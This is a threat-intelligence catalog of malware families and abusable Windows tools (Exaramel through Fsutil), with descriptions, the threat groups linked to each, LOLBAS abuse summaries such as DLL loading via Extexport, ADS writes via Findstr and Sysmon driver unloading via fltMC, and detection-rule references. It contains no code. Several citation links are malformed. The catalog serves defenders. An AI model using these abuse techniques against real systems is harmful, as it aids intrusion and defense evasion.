[Exaramel for Windows](https://app.tidalcyber.com/software/21569dfb-c9f1-468e-903e-348f19dbae1f) is a backdoor used for targeting Windows systems. The Linux version is tracked separately under [Exaramel for Linux]([ESET TeleBots Oct 2018(https://app.tidalcyber.com/references/56372448-03f5-49b5-a2a9-384fbd49fefc)]</sup>

The tag is: *misp-galaxy:software="Exaramel for Windows"*

Exbyte

[Exbyte](https://app.tidalcyber.com/software/581ce8df-78fd-5e0c-9b62-6fc5deda3167) is an exfiltration tool written in Go that is uniquely associated with [BlackByte](https://app.tidalcyber.com/groups/94f5c644-d36a-59b0-b7e2-7a1d3413443d) operations. Observed since 2022, [Exbyte](https://app.tidalcyber.com/software/581ce8df-78fd-5e0c-9b62-6fc5deda3167) transfers collected files to online file sharing and hosting services.^{[[Symantec BlackByte 2022](https://app.tidalcyber.com/references/965503f6-e5f9-5c98-b0c4-1211e44346d9)]}

The tag is: *misp-galaxy:software="Exbyte"*

Excel

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/

LICENSE).

Description: Microsoft Office binary

Author: Reegun J (OCBC Bank)

Paths: * C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\Excel.exe * C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\Excel.exe * C:\Program Files (x86)\Microsoft Office\Office16\Excel.exe * C:\Program Files\Microsoft Office\Office16\Excel.exe * C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\Excel.exe * C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\Excel.exe * C:\Program Files (x86)\Microsoft Office\Office15\Excel.exe * C:\Program Files\Microsoft Office\Office15\Excel.exe * C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\Excel.exe * C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\Excel.exe * C:\Program Files (x86)\Microsoft Office\Office14\Excel.exe * C:\Program Files\Microsoft Office\Office14\Excel.exe * C:\Program Files (x86)\Microsoft Office\Office12\Excel.exe * C:\Program Files\Microsoft Office\Office12\Excel.exe * C:\Program Files\Microsoft Office\Office12\Excel.exe

Resources: * https://twitter.com/reegun21/status/1150032506504151040 * https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191

Detection: * Sigma: [proc_creation_win_lolbin_office.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_office.yml) * IOC: Suspicious Office application Internet/network traffic^{[[Excel.exe - LOLBAS Project](/references/9a2458f7-63ca-4eca-8c61-b6098ec0798f)]}

The tag is: *misp-galaxy:software="Excel"*

ExMatter

ExMatter is a custom data exfiltration tool. It was first observed in November 2021 during intrusions involving BlackMatter ransomware, and more recently has been used during BlackCat ransomware attacks. In August 2022, researchers observed a “heavily updated” version of ExMatter, which featured expanded protocols for exfiltrating data, a data corruption capability, enhanced defense evasion abilities, and a narrower range of targeted file types.^{[[Symantec Noberus September 22 2022](/references/afd6808d-2c9f-4926-b7c6-ca9d3abdd923)]}

The tag is: *misp-galaxy:software="ExMatter"*

Expand

[Expand](https://app.tidalcyber.com/software/5d7a39e3-c667-45b3-987e-3b0ca49cff61) is a Windows utility used to expand one or more compressed CAB files.^{[[Microsoft Expand Utility](https://app.tidalcyber.com/references/bf73a375-87b7-4603-8734-9f3d8d11967e)]} It has been used by [BBSRAT](https://app.tidalcyber.com/software/be4dab36-d499-4ac3-b204-

5e309e3a5331) to decompress a CAB file into executable content.^{[[Palo Alto Networks BBSRAT](https://app.tidalcyber.com/references/8c5d61ba-24c5-4f6c-a208-e0a5d23ebb49)]}

The tag is: *misp-galaxy:software="Expand"*

Explorer

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Binary used for managing files and system components within Windows

Author: Jai Minton

Paths: * C:\Windows\explorer.exe * C:\Windows\SysWOW64\explorer.exe

Resources: * https://twitter.com/CyberRaiju/status/1273597319322058752?s=20 * https://twitter.com/bohops/status/1276356245541335048 * https://twitter.com/bohops/status/986984122563391488

Detection: * Sigma: [proc_creation_win_explorer_break_process_tree.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_explorer_break_process_tree.yml) * Sigma: [proc_creation_win_explorer_lolbin_execution.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_explorer_lolbin_execution.yml) * Elastic: [initial_access_via_explorer_suspicious_child_parent_args.toml](https://github.com/elastic/detection-rules/blob/f2bc0c685d83db7db395fc3dc4b9729759cd4329/rules/windows/initial_access_via_explorer_suspicious_child_parent_args.toml) * IOC: Multiple instances of explorer.exe or explorer.exe using the /root command line is suspicious.^{[[Explorer.exe - LOLBAS Project](/references/9ba3d54c-02d1-45bd-bfe8-939e84d9d44b)]}

The tag is: *misp-galaxy:software="Explorer"*

Explosive

[Explosive](https://app.tidalcyber.com/software/572eec55-2855-49ac-a82e-2c21e9aca27e) is a custom-made remote access tool used by the group [Volatile Cedar](https://app.tidalcyber.com/groups/7c3ef21c-0e1c-43d5-afb0-3a07c5a66937). It was first identified in the wild in 2015.^{[[CheckPoint Volatile Cedar March 2015](https://app.tidalcyber.com/references/a26344a2-63ca-422e-8cf9-0cf22a5bee72)]}^{[[ClearSky Lebanese Cedar Jan 2021](https://app.tidalcyber.com/references/53944d48-caa9-4912-b42d-94a3789ed15b)]}

The tag is: *misp-galaxy:software="Explosive"*

Extexport

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Load a DLL located in the c:\test folder with a specific name.

Author: Oddvar Moe

Paths: * C:\Program Files\Internet Explorer\Extexport.exe * C:\Program Files (x86)\Internet Explorer\Extexport.exe

Resources: * http://www.hexacorn.com/blog/2018/04/24/extexport-yet-another-lolbin/

Detection: * Sigma: [proc_creation_win_lolbin_extexport.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extexport.yml) * IOC: Extexport.exe loads dll and is execute from other folder the original path^{[[Extexport.exe - LOLBAS Project](/references/2aa09a10-a492-4753-bbd8-aacd31e4fee3)]}

The tag is: *misp-galaxy:software="Extexport"*

ExtPassword

ExtPassword is a tool used to recover passwords from Windows systems.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="ExtPassword"*

Extrac32

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Extract to ADS, copy or overwrite a file with Extrac32.exe

Author: Oddvar Moe

Paths: * C:\Windows\System32\extrac32.exe * C:\Windows\SysWOW64\extrac32.exe

Resources: * https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/ * https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f * [https://twitter.com/

egre55/status/985994639202283520](https://twitter.com/egre55/status/985994639202283520)

Detection: * Elastic: [defense_evasion_misc_lolbin_connecting_to_the_internet.toml](https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml) * Sigma: [proc_creation_win_lolbin_extrac32.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml) * Sigma: [proc_creation_win_lolbin_extrac32_ads.yml]([Extrac32.exe - LOLBAS Project(/references/ae632afc-336c-488e-81f6-91ffe1829595)]</sup>

The tag is: *misp-galaxy:software="Extrac32"*

FaceXInjector

A C# injection tool stored in an XML file, used by the MirrorFace actor to execute their HiddenFace backdoor malware.^{[[ESET MirrorFace March 18 2025](/references/d8f4d661-ad8a-451d-9799-afe36e200bb3)]}

The tag is: *misp-galaxy:software="FaceXInjector"*

FakeM

[FakeM](https://app.tidalcyber.com/software/8c64a330-1457-4c32-ab2f-12b6eb37d607) is a shellcode-based Windows backdoor that has been used by [Scarlet Mimic](https://app.tidalcyber.com/groups/6c1bdc51-f633-4512-8b20-04a11c2d97f4). ^{[[Scarlet Mimic Jan 2016](https://app.tidalcyber.com/references/f84a5b6d-3af1-45b1-ac55-69ceced8735f)]}

The tag is: *misp-galaxy:software="FakeM"*

FakePenny

FakePenny is a ransomware, which includes both a loader and an encryptor, that is believed to have been developed by the North Korean threat actor Moonstone Sleet.^{[[Microsoft Security Blog 5 28 2024](/references/faf315ed-71f7-4e29-8334-701da35a69ad)]}

The tag is: *misp-galaxy:software="FakePenny"*

FALLCHILL

[FALLCHILL](https://app.tidalcyber.com/software/ea47f1fd-0171-4254-8c92-92b7a5eec5e1) is a RAT that has been used by [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08) since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08) malware or delivered when a victim unknowingly visits a compromised website. <sup>[[US-CERT FALLCHILL Nov 2017](https://app.tidalcyber.com/

references/045e03f9-af83-4442-b69e-b80f68e570ac)]</sup>

The tag is: *misp-galaxy:software="FALLCHILL"*

FatDuke

[FatDuke](https://app.tidalcyber.com/software/997ff740-1b00-40b6-887a-ef4101e93295) is a backdoor used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) since at least 2016.^{[[ESET Dukes October 2019](https://app.tidalcyber.com/references/fbc77b85-cc5a-4c65-956d-b8556974b4ef)]}

The tag is: *misp-galaxy:software="FatDuke"*

FDMTP

FDMTP is a downloader, one of a series of software associated with China-based espionage actor Earth Preta (aka Mustang Panda) reported by researchers in September 2024.^{[[Trend Micro September 9 2024](/references/0fdc9ee2-5be2-43e0-afb9-c9a94fde3867)]}

The tag is: *misp-galaxy:software="FDMTP"*

Felismus

[Felismus](https://app.tidalcyber.com/software/c66ed8ab-4692-4948-820e-5ce87cc78db5) is a modular backdoor that has been used by [Sowbug](https://app.tidalcyber.com/groups/6632f07f-7c6b-4d12-8544-82edc6a7a577). ^{[[Symantec Sowbug Nov 2017](https://app.tidalcyber.com/references/14f49074-fc46-45d3-bf7e-30c896c39c07)]} ^{[[Forcepoint Felismus Mar 2017](https://app.tidalcyber.com/references/23b94586-3856-4937-9b02-4fe184b7ba01)]}

The tag is: *misp-galaxy:software="Felismus"*

FELIXROOT

[FELIXROOT](https://app.tidalcyber.com/software/4b1a07cd-4c1f-4d93-a454-07fd59b3039a) is a backdoor that has been used to target Ukrainian victims. ^{[[FireEye FELIXROOT July 2018](https://app.tidalcyber.com/references/501057e2-9a31-46fe-aaa0-427218682153)]}

The tag is: *misp-galaxy:software="FELIXROOT"*

Ferocious

[Ferocious](https://app.tidalcyber.com/software/3e54ba7a-fd4c-477f-9c2d-34b4f69fc091) is a first stage implant composed of VBS and PowerShell scripts that has been used by [WIRTE](https://app.tidalcyber.com/groups/73da066d-b25f-45ba-862b-1a69228c6baa) since at least 2021.^{[[Kaspersky WIRTE November 2021](https://app.tidalcyber.com/references/143b4694-024d-49a5-be3c-d9ceca7295b2)]}

The tag is: *misp-galaxy:software="Ferocious"*

Fgdump

[Fgdump](https://app.tidalcyber.com/software/1bbf04bb-d869-48c5-a538-70a25503de1d) is a Windows password hash dumper. ^{[[Mandiant APT1](https://app.tidalcyber.com/references/865eba93-cf6a-4e41-bc09-de9b0b3c2669)]}

The tag is: *misp-galaxy:software="Fgdump"*

FileZilla

FileZilla is a tool used to perform cross-platform File Transfer Protocol (FTP) to a site, server, or host.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="FileZilla"*

Final1stspy

[Final1stspy](https://app.tidalcyber.com/software/eb4dc358-e353-47fc-8207-b7cb10d580f7) is a dropper family that has been used to deliver [DOGCALL]([Unit 42 Nokki Oct 2018 (https://app.tidalcyber.com/references/4eea6638-a71b-4d74-acc4-0fac82ef72f6)]</sup>

The tag is: *misp-galaxy:software="Final1stspy"*

FINALDRAFT

FINALDRAFT is a malware with loader and backdoor functionalities, which notably leverages Microsoft Outlook (via the Microsoft Graph API) for command and control communication.^{[[Elastic FINALDRAFT February 12 2025](/references/ca0b8373-53d0-4367-ad31-05fbcdfd9cff)]}

The tag is: *misp-galaxy:software="FINALDRAFT"*

Findstr

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Write to ADS, discover, or download files with Findstr.exe

Author: Oddvar Moe

Paths: * C:\Windows\System32\findstr.exe * C:\Windows\SysWOW64\findstr.exe

Resources: * https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/ * https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

Detection: * Sigma: [proc_creation_win_lolbin_findstr.yml]([Findstr.exe - LOLBAS Project(/references/fc4b7b28-ac74-4a8f-a39d-ce55df5fca08)]</sup>

The tag is: *misp-galaxy:software="Findstr"*

FINETIDE

FINETIDE is a dropper tool, publicly available for purchase on cybercriminal forums, used to deliver and execute the SHADYLOOK wiper malware on victim systems.^{[[Google Cybercrime Report February 11 2025](/references/17685d5c-4255-445e-a546-e0dfb92378c2)]}

The tag is: *misp-galaxy:software="FINETIDE"*

FinFisher

[FinFisher](https://app.tidalcyber.com/software/41f54ce1-842c-428a-977f-518a5b63b4d7) is a government-grade commercial surveillance spyware reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including [Wingbird](https://app.tidalcyber.com/software/3e70078f-407e-4b03-b604-bdc05b372f37). ^{[[FinFisher Citation](https://app.tidalcyber.com/references/6ef0b8d8-ba98-49ce-807d-5a85d111b027)]} ^{[[Microsoft SIR Vol 21](https://app.tidalcyber.com/references/619b9cf8-7201-45de-9c36-834ccee356a9)]} ^{[[FireEye FinSpy Sept 2017](https://app.tidalcyber.com/references/142cf7a3-2ca2-4cf3-b95a-9f4b3bc1cdce)]} ^{[[Securelist BlackOasis Oct 2017](https://app.tidalcyber.com/references/66121c37-6b66-4ab2-9f63-1adb80dcec62)]} ^{[[Microsoft FinFisher March 2018](https://app.tidalcyber.com/references/88c97a9a-ef14-4695-bde0-9de2b5f5343b)]}

The tag is: *misp-galaxy:software="FinFisher"*

Finger

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Displays information about a user or users on a specified remote computer that is running the Finger service or daemon

Author: Ruben Revuelta

Paths: * c:\windows\system32\finger.exe * c:\windows\syswow64\finger.exe

Resources: * https://twitter.com/DissectMalware/status/997340270273409024 * https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/ff961508(v=ws.11)

Detection: * Sigma: [proc_creation_win_finger_usage.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_finger_usage.yml) * IOC: finger.exe should not be run on a normal workstation. * IOC: finger.exe connecting to external resources.^{[[Finger.exe - LOLBAS Project](/references/e32d01eb-d904-43dc-a7e2-bdcf42f3ebb2)]}

The tag is: *misp-galaxy:software="Finger"*

FIVEHANDS

[FIVEHANDS](https://app.tidalcyber.com/software/84187393-2fe9-4136-8720-a6893734ee8c) is a customized version of [DEATHRANSOM](https://app.tidalcyber.com/software/832f5ab1-1267-40c9-84ef-f32d6373be4e) ransomware written in C++. [FIVEHANDS](https://app.tidalcyber.com/software/84187393-2fe9-4136-8720-a6893734ee8c) has been used since at least 2021, including in Ransomware-as-a-Service (RaaS) campaigns, sometimes along with [SombRAT]([FireEye FiveHands April 2021](https://app.tidalcyber.com/references/832aeb46-b248-43e8-9157-a2f56bcd1806)]</sup>^{[[NCC Group Fivehands June 2021](https://app.tidalcyber.com/references/33955c35-e8cd-4486-b1ab-6f992319c81c)]}

The tag is: *misp-galaxy:software="FIVEHANDS"*

Flagpro

[Flagpro](https://app.tidalcyber.com/software/977aaf8a-2216-40f0-8682-61dd91638147) is a Windows-based, first-stage downloader that has been used by [BlackTech](https://app.tidalcyber.com/groups/528ab2ea-b8f1-44d8-8831-2a89fefd97cb) since at least October 2020. It has primarily been used against defense, media, and communications companies in Japan.^{[[NTT Security Flagpro new December 2021](https://app.tidalcyber.com/references/c0f523fa-7f3b-4c85-b48f-19ae770e9f3b)]}

The tag is: *misp-galaxy:software="Flagpro"*

Flame

[Flame](https://app.tidalcyber.com/software/87604333-638f-4f4a-94e0-16aa825dd5b8) is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries. ^{[[Kaspersky Flame](https://app.tidalcyber.com/references/6db8f76d-fe38-43b1-ad85-ad372da9c09d)]}

The tag is: *misp-galaxy:software="Flame"*

FLASHFLOOD

[FLASHFLOOD](https://app.tidalcyber.com/software/44a5e62a-6de4-49d2-8f1b-e68ecdf9f332) is malware developed by [APT30](https://app.tidalcyber.com/groups/be45ff95-6c74-4000-bc39-63044673d82f) that allows propagation and exfiltration of data over removable devices. [APT30](https://app.tidalcyber.com/groups/be45ff95-6c74-4000-bc39-63044673d82f) may use this capability to exfiltrate data across air-gaps. ^{[[FireEye APT30](https://app.tidalcyber.com/references/c48d2084-61cf-4e86-8072-01e5d2de8416)]}

The tag is: *misp-galaxy:software="FLASHFLOOD"*

FlawedAmmyy

[FlawedAmmyy](https://app.tidalcyber.com/software/308dbe77-3d58-40bb-b0a5-cd00f152dc60) is a remote access tool (RAT) that was first seen in early 2016. The code for [FlawedAmmyy](https://app.tidalcyber.com/software/308dbe77-3d58-40bb-b0a5-cd00f152dc60) was based on leaked source code for a version of Ammyy Admin, a remote access software.^{[[Proofpoint TA505 Mar 2018](https://app.tidalcyber.com/references/44e48c77-59dd-4851-8455-893513b7cf45)]}

The tag is: *misp-galaxy:software="FlawedAmmyy"*

FlawedGrace

[FlawedGrace](https://app.tidalcyber.com/software/c558e948-c817-4494-a95d-ad3207f10e26) is a fully featured remote access tool (RAT) written in C++ that was first observed in late 2017.^{[[Proofpoint TA505 Jan 2019](https://app.tidalcyber.com/references/b744f739-8810-4fb9-96e3-6488f9ed6305)]}

The tag is: *misp-galaxy:software="FlawedGrace"*

FleetDeck

FleetDeck is a commercial remote monitoring and management (RMM) tool that enables remote desktop access and “virtual terminal” capabilities. Government and commercial reports indicate that financially motivated adversaries, including BlackCat (AKA ALPHV or Noberus) actors and Scattered Spider (AKA 0ktapus or UNC3944), have used FleetDeck for command and control and persistence purposes during intrusions.^{[[Cyber Centre ALPHV/BlackCat July 25 2023](/references/610c8f22-1a96-42d2-934d-8467d136eed2)]}^{[[CrowdStrike Scattered Spider SIM Swapping December 22 2022](/references/e48760ba-2752-4d30-8f99-152c81f63017)]}

The tag is: *misp-galaxy:software="FleetDeck"*

FLIPSIDE

[FLIPSIDE](https://app.tidalcyber.com/software/18002747-ddcc-42c1-b0ca-1e598a9f1919) is a simple

tool similar to Plink that is used by [FIN5](https://app.tidalcyber.com/groups/7902f5cc-d6a5-4a57-8d54-4c75e0c58b83) to maintain access to victims. ^{[[Mandiant FIN5 GrrCON Oct 2016](https://app.tidalcyber.com/references/2bd39baf-4223-4344-ba93-98aa8453dc11)]}

The tag is: *misp-galaxy:software="FLIPSIDE"*

fltMC

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Filter Manager Control Program used by Windows

Author: John Lambert

Paths: * C:\Windows\System32\fltMC.exe

Resources: * https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon

Detection: * Sigma: [proc_creation_win_fltmc_unload_driver_sysmon.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_fltmc_unload_driver_sysmon.yml) * Elastic: [defense_evasion_via_filter_manager.toml](https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_via_filter_manager.toml) * Splunk: [unload_sysmon_filter_driver.yml](https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/unload_sysmon_filter_driver.yml) * IOC: 4688 events with fltMC.exe^{[[fltMC.exe - LOLBAS Project](/references/cf9b4bd3-92f0-405b-85e7-95e65d548b79)]}

The tag is: *misp-galaxy:software="fltMC"*

FoggyWeb

[FoggyWeb](https://app.tidalcyber.com/software/bc11844e-0348-4eed-a48a-0554d68db38c) is a passive and highly-targeted backdoor capable of remotely exfiltrating sensitive information from a compromised Active Directory Federated Services (AD FS) server. It has been used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) since at least early April 2021.^{[[MSTIC FoggyWeb September 2021](https://app.tidalcyber.com/references/1ef61100-c5e7-4725-8456-e508c5f6d68a)]}

The tag is: *misp-galaxy:software="FoggyWeb"*

Fog Ransomware

Fog is a ransomware family first observed in May 2024. Its distribution has been linked to Storm-0844, a threat actor that also leverages suspected valid credentials and freely available tools for initial access and post-exploit activity prior to ransomware deployment.^{[[Arctic Wolf Fog Ransomware June 4 2024](/references/86111971-cd37-4a87-bcaa-3e0f6326da5c)]}

The tag is: *misp-galaxy:software="Fog Ransomware"*

ForestTiger

A backdoor used by the Diamond Sleet North Korean nation-state group during its TeamCity vulnerability (CVE-2023-42793) exploit campaign in October 2023.^{[[Microsoft TeamCity Exploit Campaign October 18 2023](/references/d6dc556c-dbf2-4272-a550-14f5292c4fd4)]}

The tag is: *misp-galaxy:software="ForestTiger"*

Forfiles

[Forfiles](https://app.tidalcyber.com/software/c6dc67a6-587d-4700-a7de-bee043a0031a) is a Windows utility commonly used in batch jobs to execute commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts. ^{[[Microsoft Forfiles Aug 2016](https://app.tidalcyber.com/references/fd7eaa47-3512-4dbd-b881-bc679d06cd1b)]}

The tag is: *misp-galaxy:software="Forfiles"*

Formbook (Deprecated)

We are no longer maintaining this object in favor of a similar object subsequently published by MITRE: "XLoader" (Software). All relevant Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

Formbook is an information-stealing malware, discovered in 2016, that is capable of stealing data entered into HTML website forms and logging keystrokes and also acting as a downloader for other malware.^{[[What Is FormBook Malware?](/references/d1f57ed6-8f44-46cc-afb7-53d9543f68ed)]}^{[[What is FormBook Malware? - Check Point Software](/references/c7670c6d-014b-4937-ac0f-9f2aec60e2d8)]} xLoader is a JavaScript-based, cross-platform Formbook variant discovered in 2020 that is crafted to infect macOS as well as Windows systems. Check Point Research’s 2022 Mid-Year Report released in August 2022 placed Formbook as the "most prevalent" infostealer malware globally (and second-most prevalent of all malware types globally, behind only Emotet).^{[[Check Point Mid-Year Report 2022](/references/e929cd86-9903-481c-a841-ba387831cb77)]}

The tag is: *misp-galaxy:software="Formbook (Deprecated)"*

FRAMESTING

[FRAMESTING](https://app.tidalcyber.com/software/83721b89-df58-50bf-be2a-0b696fb0da78) is a Python web shell that was used during [Cutting Edge](https://app.tidalcyber.com/campaigns/4e605e33-57fe-5bb2-b0ad-ec146aac041b) to embed into an Ivanti Connect Secure Python package for command execution.^{[[Mandiant Cutting Edge Part 2 January 2024](https://app.tidalcyber.com/references/5209d259-4293-58c0-bbdc-f30ff77d57f7)]}

The tag is: *misp-galaxy:software="FRAMESTING"*

FrameworkPOS

[FrameworkPOS](https://app.tidalcyber.com/software/aef7cbbc-5163-419c-8e4b-3f73bed50474) is a point of sale (POS) malware used by [FIN6](https://app.tidalcyber.com/groups/fcaadc12-7c17-4946-a9dc-976ed610854c) to steal payment card data from sytems that run physical POS devices.^{[[SentinelOne FrameworkPOS September 2019](https://app.tidalcyber.com/references/054d7827-3d0c-40a7-b2a0-1428ad7729ea)]}

The tag is: *misp-galaxy:software="FrameworkPOS"*

FreeFileSync

FreeFileSync is a tool used to facilitate cloud-based file synchronization.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="FreeFileSync"*

FRP

[FRP](https://app.tidalcyber.com/software/5d83dd11-3928-5d7e-a50c-5c06594a5229), which stands for Fast Reverse Proxy, is an openly available tool that is capable of exposing a server located behind a firewall or Network Address Translation (NAT) to the Internet. [FRP](https://app.tidalcyber.com/software/5d83dd11-3928-5d7e-a50c-5c06594a5229) can support multiple protocols including TCP, UDP, and HTTP(S) and has been abused by threat actors to proxy command and control communications.^{[[FRP GitHub](https://app.tidalcyber.com/references/cc682467-1ad0-50d9-9d81-be84ed862df8)]}^{[[Joint Cybersecurity Advisory Volt Typhoon June 2023](https://app.tidalcyber.com/references/14872f08-e219-5c0d-a2d7-43a3ba348b4b)]}^{[[RedCanary Mockingbird May 2020](https://app.tidalcyber.com/references/596bfbb3-72e0-4d4c-a1a9-b8d54455ffd0)]}^{[[DFIR Phosphorus November 2021](https://app.tidalcyber.com/references/0156d408-a36d-5876-96fd-f0b0cf296ea2)]}

The tag is: *misp-galaxy:software="FRP"*

FruitFly

FruitFly is designed to spy on mac users ^{[[objsee mac malware 2017](https://app.tidalcyber.com/references/08227ae5-4086-4c31-83d9-459c3a097754)]}.

The tag is: *misp-galaxy:software="FruitFly"*

Fsi

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: 64-bit FSharp (F#) Interpreter included with Visual Studio and DotNet Core SDK.

Author: Jimmy (@bohops)

Paths: * C:\Program Files\dotnet\sdk\[sdk version]\FSharp\fsi.exe * C:\Program Files (x86)\Microsoft Visual Studio\2019\Professional\Common7\IDE\CommonExtensions\Microsoft\FSharp\fsi.exe

Resources: * https://twitter.com/NickTyrer/status/904273264385589248 * https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/

Detection: * Elastic: [defense_evasion_unusual_process_network_connection.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml) * Elastic: [defense_evasion_network_connection_from_windows_binary.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml) * BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules * IOC: Fsi.exe execution may be suspicious on non-developer machines * Sigma: [proc_creation_win_lolbin_fsharp_interpreters.yml]([Fsi.exe - LOLBAS Project(/references/4e14e87f-2ad9-4959-8cb2-8585b67931c0)]</sup>

The tag is: *misp-galaxy:software="Fsi"*

FsiAnyCpu

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: 32/64-bit FSharp (F#) Interpreter included with Visual Studio.

Author: Jimmy (@bohops)

Paths: * c:\Program Files (x86)\Microsoft Visual

Studio\2019\Professional\Common7\IDE\CommonExtensions\Microsoft\FSharp\fsianycpu.exe

Resources: * https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/

Detection: * BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules * IOC: FsiAnyCpu.exe execution may be suspicious on non-developer machines * Sigma: [proc_creation_win_lolbin_fsharp_interpreters.yml]([FsiAnyCpu.exe - LOLBAS Project(/references/87031d31-b6d7-4860-b11b-5a0dc8774d92)]</sup>

The tag is: *misp-galaxy:software="FsiAnyCpu"*

Fsutil

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: File System Utility

Author: Elliot Killick

Paths: * C:\Windows\System32\fsutil.exe * C:\Windows\SysWOW64\fsutil.exe

